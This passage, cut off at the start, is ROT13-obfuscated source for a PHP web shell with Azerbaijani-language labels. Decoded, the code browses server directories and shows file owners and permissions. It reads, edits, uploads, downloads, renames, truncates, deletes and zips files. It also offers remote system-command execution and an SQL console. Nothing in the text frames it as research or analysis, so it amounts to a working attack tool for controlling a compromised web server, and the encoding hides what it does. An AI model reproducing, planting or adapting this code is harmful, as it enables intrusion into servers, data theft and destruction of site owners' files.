nqı: <n pynff='dnyva' uers='wninfpevcg:fruvsr(\"{$bkhHey}\")'>".ugzyfcrpvnypunef($snlyNqv)."</n><oe/><sbez zrgubq='CBFG' fglyr='cnqqvat: 0; znetva: 0;'><ohggba glcr='fhozvg' pynff='oga'$rynirOga> Lnqqn fnkyn </ohggba> <ohggba glcr='ohggba' bapyvpx='fuvseryrr()'> Fuvseryr ngnfu </ohggba> $fgnghf</qvi>"; cevag "<vachg glcr='uvqqra' inyhr='snly_erqnxgr' anzr='ar'><vachg glcr='uvqqra' inyhr='".fuvseryr($snlyNqv)."' anzr='snly'><vachg glcr='uvqqra' inyhr='".heyrapbqr(fuvseryr($qrsnhyg_qve))."' anzr='dbiyhd'><vachg glcr='uvqqra' inyhr='".gbbxLneng("lf_gbbx")."' anzr='gbbx'><grkgnern anzr='pbagrag' pynff='svyr_rqvg'>".ugzyfcrpvnypunef(svyr_trg_pbagragf($qrsnhyg_qve . $nlvevpv . $snlyNqv))."</grkgnern></sbez>"; } ryfr { cevag 'Reebe! ' . ugzyfcrpvnypunef($qrsnhyg_qve . $nlvevpv . $snlyNqv); } } ryfr { vs(vf_qve($qrsnhyg_qve)) { vs(vf_ernqnoyr($qrsnhyg_qve)) { $dbiyhdVpuv = fpnaqve($qrsnhyg_qve); sbernpu($dbiyhdVpuv NF &$rzryrzag) { $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($rzryrzag,0,1)!="/" ? "/" : ""; vs(vf_qve($qrsnhyg_qve . $nlvevpv . $rzryrzag)) { $rzryrzag = "0".$rzryrzag; } ryfr { $rzryrzag = "1".$rzryrzag; } } nfbeg($dbiyhdVpuv); cevag "<gnoyr pynff='sZnantre' fglyr='jvqgu: 100%;'><gurnq><ge pynff='dnyva'><gu>f</gu><gu>Snly</gu><gu>Fvmr</gu><gu>Gnevk</gu><gu>Bjare/Tebhc</gu><gu>Crezvffvbaf</gu><gu>Npgvbaf</gu></ge></gurnq><gobql>"; sbernpu($dbiyhdVpuv NF $ryrzrag) { $hey = ""; $ryrzrag = fhofge($ryrzrag,1); $snlyNqvGnz = $qrsnhyg_qve . $nlvevpv . $ryrzrag; $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($ryrzrag,0,1)!="/" ? "/" : ""; $nqv = vf_qve($snlyNqvGnz) ? "[ $ryrzrag ]" : $ryrzrag; $pynffA = ""; vs(vf_qve($snlyNqvGnz)) { vs($ryrzrag==".") { $hey = "?dbiyhd=".heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve))); } ryfr vs($ryrzrag=="..") { $lravHey = rkcybqr("/",$qrsnhyg_qve); sbernpu(neenl_erirefr($lravHey) NF $w=>$dd) { vs(gevz($dd)!="") { hafrg($lravHey[pbhag($lravHey)-$w-1]); oernx; } } $hey = "?dbiyhd=".heyrapbqr(heyrapbqr(fuvseryr(vzcybqr("/",$lravHey)))); } ryfr { $hey = "?dbiyhd=".heyrapbqr(heyrapbqr(fuvseryr($snlyNqvGnz))); } $pynffA = " fglyr='sbag-jrvtug: 600;'"; } ryfr { $hey = "?ar=snly_bkh&snly=".heyrapbqr(heyrapbqr(fuvseryr($ryrzrag)))."&dbiyhd=".heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve))); } $snlyqv = vf_svyr($snlyNqvGnz); $vfErnqnoyrPbybe = vf_ernqnoyr( $snlyNqvGnz ) && vf_jevgrnoyr( $snlyNqvGnz ); cevag '<ge> <gq></gq> <gq><n uers="wninfpevcg:fruvsr(\''.$hey.'\')"'.$pynffA.'>'.ugzyfcrpvnypunef($nqv).'</n></gq> <gq>' . ($snlyqv?fvmrSbezng(svyrfvmr($snlyNqvGnz)):'') . '</gq> <gq>' . (qngr('q Z L, U:v' , svyrpgvzr($snlyNqvGnz))) . '</gq> <gq>' . ugzyfcrpvnypunef(svyrbjare($snlyNqvGnz)) . '</gq> <gq' . ($vfErnqnoyrPbybe?' fglyr="pbybe: terra;"':'') . '>' . fhofge(fcevags('%b', svyrcrezf(( $snlyNqvGnz ))), -4) . '</gq> <gq>'; vs( vf_svyr($snlyNqvGnz) ) { cevag (' <n uers="wninfpevcg:fruvsr(\''.fge_ercynpr("snly_bkh","snly_lhxyr",$hey).'\')"'.$pynffA.'>Qbjaybnq</n> | ') . (' <n uers="wninfpevcg:punatrSvyrAnzr(\'' . ugzyfcrpvnypunef($nqv) . '\' , \''.fge_ercynpr("snly_bkh","snly_nq_qrlvfu",$hey).'\');"'.$pynffA.'>Eranzr</n> | ') . (' <n uers="wninfpevcg:snlyFvsveyn(\''.fge_ercynpr("snly_bkh","snly_fvsveyn",$hey).'\');"'.$pynffA.'>Gehapngr</n> | ') . (' <n uers="wninfpevcg:snlyFvy(\''.fge_ercynpr("snly_bkh","snly_fvy",$hey).'\')"'.$pynffA.'>Qryrgr</n>'); } ryfr vs( $nqv != '[ . ]' && $nqv != '[ .. ]' ) { cevag (' <n uers="wninfpevcg:mvcyr(\'' . heyrapbqr(heyrapbqr(fuvseryr($snlyNqvGnz))) . '\')"'.$pynffA.'>Mvc</n> | ') . (' <n uers="wninfpevcg:fvyCncxn(\'' . heyrapbqr(heyrapbqr(fuvseryr($snlyNqvGnz))) . '\')"'.$pynffA.'>Fvy</n>'); } cevag '</gq> </ge>'; } } ryfr { cevag "<qvi fglyr='znetva: 10ck 0ck;' pynff='dnyva'>Crezvffvbaf qravqrq!</qvi>"; } } } cevag "</gobql></gnoyr>"; ?> <ue> <n uers="wninfpevcg:arjSvyr();">Lrav snly</n> | <n uers="wninfpevcg:arjCncxn();">Lrav cncxn</n><oe> <n uers="wninfpevcg:fruvsr('?ar=fvfgrz_xbz&dbiyhd=<?=heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve)))?>')">Vpen rqva</n><oe> <n uers="wninfpevcg:fruvsr('?ar=fxy');">FDY</n><oe> <sbez zrgubq="CBFG" rapglcr="zhygvcneg/sbez-qngn"> <vachg glcr="uvqqra" anzr="ar" inyhr="snly_hcy"> <vachg glcr="uvqqra" anzr="dbiyhd" inyhr="<?=heyrapbqr(fuvseryr($qrsnhyg_qve))?>"> <vachg glcr="svyr" anzr="hsnly"> <vachg glcr="fhozvg" inyhr="Hcy"> </sbez> <sbez zrgubq="CBFG" vq="cbfg_sbez" fglyr="qvfcynl: abar;"></sbez> <fpevcg> shapgvba fruvsr(hey) { ine vachgyne = ""; hey = hey.fcyvg("?"); vs(glcrbs hey[1]=="haqrsvarq") erghea; hey = hey[1].fcyvg("&"); sbe(ine a va hey) { ine xrlNaqInyhr = hey[a].fcyvg("="); vs(glcrbs xrlNaqInyhr[1]=="haqrsvarq") pbagvahr; vachgyne+="<vachg anzr='"+xrlNaqInyhr[0]+"' inyhr='"+xrlNaqInyhr[1]+"' glcr='uvqqra'>"; } qbphzrag.nyy("cbfg_sbez").vaareUGZY = vachgyne; qbphzrag.nyy("cbfg_sbez").fhozvg(); } shapgvba snlyFvy(hey) { vs( pbasvez('Rzvafra ngnfu?') ) { fruvsr(hey); } } shapgvba snlyFvsveyn(hey) { vs( pbasvez('Rzvafra ngnfu?') ) { fruvsr(hey); } } shapgvba punatrSvyrAnzr(anzr, hey) { ine trgArjAnzr = cebzcg('Punatr svyr anzr:' , anzr); vs( trgArjAnzr ) { fruvsr(hey + "&arj_anzr=" + trgArjAnzr); } } shapgvba arjSvyr() { ine trgArjAnzr = cebzcg('Svyr anzr:'); vs( trgArjAnzr ) { fruvsr("?ar=snly_lneng&nq=" + trgArjAnzr + "&dbiyhd=<?=heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve)))?>"); } } shapgvba arjCncxn() { ine trgArjAnzr = cebzcg('Svyr anzr:'); vs( trgArjAnzr ) { fruvsr("?ar=cncxn_lneng&nq=" + trgArjAnzr + "&dbiyhd=<?=heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve)))?>"); } } shapgvba fvfgrzXbz() { ine xbznaqn = qbphzrag.trgRyrzragOlVq('rze_rg_ngnfu').inyhr; vs( xbznaqn ) { fruvsr("?ar=fvfgrz_xbz&xbz=" + o64RapbqrHavpbqr(xbznaqn) + "&dbiyhd=<?=heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve)))?>"); } } shapgvba fxy_onf() { ine fxyRze = qbphzrag.trgRyrzragOlVq('fxy_rze').inyhr; fruvsr("?ar=fxy&rze=" + o64RapbqrHavpbqr(fxyRze)); } shapgvba o64RapbqrHavpbqr(fge) { erghea ogbn(rapbqrHEVPbzcbarag(fge).ercynpr(/%([0-9N-S]{2})/t, shapgvba gbFbyvqOlgrf(zngpu, c1) { erghea Fgevat.sebzPunePbqr('0k' + c1); })); } shapgvba tbgb() { ine qve = cebzcg('Qve:'); vs( qve ) { fruvsr("?dbiyhd=" + qve); } } shapgvba mvcyr(dbiyhd) { ine qve = cebzcg('Qve:' , "<?=ugzyfcrpvnypunef($qrsnhyg_qve)?>"); vs( qve ) { fruvsr("?ar=mvcyr&dbiyhd=<?=heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve)))?>&ms=" + dbiyhd + "&fnir_gb=" + o64RapbqrHavpbqr(qve)) } } shapgvba fvyCncxn(dbiyhd) { vs( pbasvez('Rzvafra ngnfu?') ) { fruvsr("?ar=cncxn_fvy&dbiyhd=<?=heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve)))?>&ms=" + dbiyhd) } } shapgvba fuvseryrr() { ine inyy = qbphzrag.trgRyrzragfOlPynffAnzr('svyr_rqvg')[0].inyhr; ine ercc = ['n','v','r','f','y','o','h','b','c','u',"\\(","\\)","\\<","\\>","\\?","\\;","\\[","\\]","\\$"]; sbe(ine f va ercc) { ine u = ercc[f]; inyy = inyy.ercynpr(arj ErtRkc(u, 't') , '|:'+f+':|'); } qbphzrag.trgRyrzragfOlPynffAnzr('svyr_rqvg')[0].inyhr = inyy; } qbphzrag.trgRyrzragOlVq("rze_rg_ngnfu").nqqRiragYvfgrare("xrlhc", shapgvba(rirag) { rirag.ceriragQrsnhyg(); vs (rirag.xrlPbqr === 13) { fvfgrzXbz(); } }); </fpevcg> </obql> </ugzy>